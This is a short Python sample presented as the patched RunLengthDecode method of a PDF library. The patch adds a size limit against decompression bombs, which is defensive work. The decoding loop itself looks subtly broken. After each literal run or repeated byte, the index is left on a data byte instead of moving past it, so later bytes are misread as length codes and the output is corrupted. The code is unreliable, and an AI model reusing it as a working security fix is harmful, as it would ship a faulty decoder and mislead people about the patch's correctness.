Patched code sample

from typing import Any

# The CVE describes a decompression bomb vulnerability. The fix involves
# adding a size limit to the decoding process to prevent excessive memory
# allocation. The code below represents the fixed 'decode' method from the
# 'RunLengthDecode' filter, including the necessary checks.
#
# Note: The actual fix is part of a larger class and library. This example
# includes the necessary components to be a self-contained, illustrative snippet.


class PdfStreamError(Exception):
    """A class for all stream-related errors."""

    pass


# A sensible default limit to prevent decompression bombs, e.g., 100 MB
MAX_DECODED_SIZE = 100 * 1024 * 1024


class RunLengthDecode:
    """
    Decodes data encoded with the RunLengthDecode filter.
    The fixed version includes size checks to prevent excessive memory usage.
    """

    @staticmethod
    def decode(
        data: bytes,
        decode_parms: Any = None,
        max_decoded_size: int = MAX_DECODED_SIZE,
    ) -> bytes:
        """
        Decodes data using the Run-Length Decode filter with a size limit.

        :param data: A bytes sequence of data to be decoded.
        :param decode_parms: Not used.
        :param max_decoded_size: The maximum size of the decoded data.
            This is a security precaution to prevent decompression bombs.
        :return: The decoded data.
        :raises PdfStreamError: If the decoded data exceeds max_decoded_size.
        """
        decoded = b""
        i = 0
        while i < len(data):
            # The preliminary check ensures that the loop doesn't continue
            # if the size limit has already been breached in a previous iteration.
            if len(decoded) > max_decoded_size:
                raise PdfStreamError("RunLengthDecode: The output is too large")

            length = data[i]
            if length == 128:
                # EOD (End-Of-Data) marker
                break
            elif length < 128:
                # Copy the next (length + 1) bytes literally.
                i += 1
                num_bytes_to_copy = length + 1

                # Check if adding these bytes exceeds the limit.
                if len(decoded) + num_bytes_to_copy > max_decoded_size:
                    raise PdfStreamError("RunLengthDecode: The output is too large")

                decoded += data[i : i + num_bytes_to_copy]
                i += length
            else:  # length > 128
                # Repeat the next byte (257 - length) times.
                i += 1
                num_repeats = 257 - length

                # Check if adding the repeated byte exceeds the limit.
                if len(decoded) + num_repeats > max_decoded_size:
                    raise PdfStreamError("RunLengthDecode: The output is too large")

                decoded += data[i : i + 1] * num_repeats
        return decoded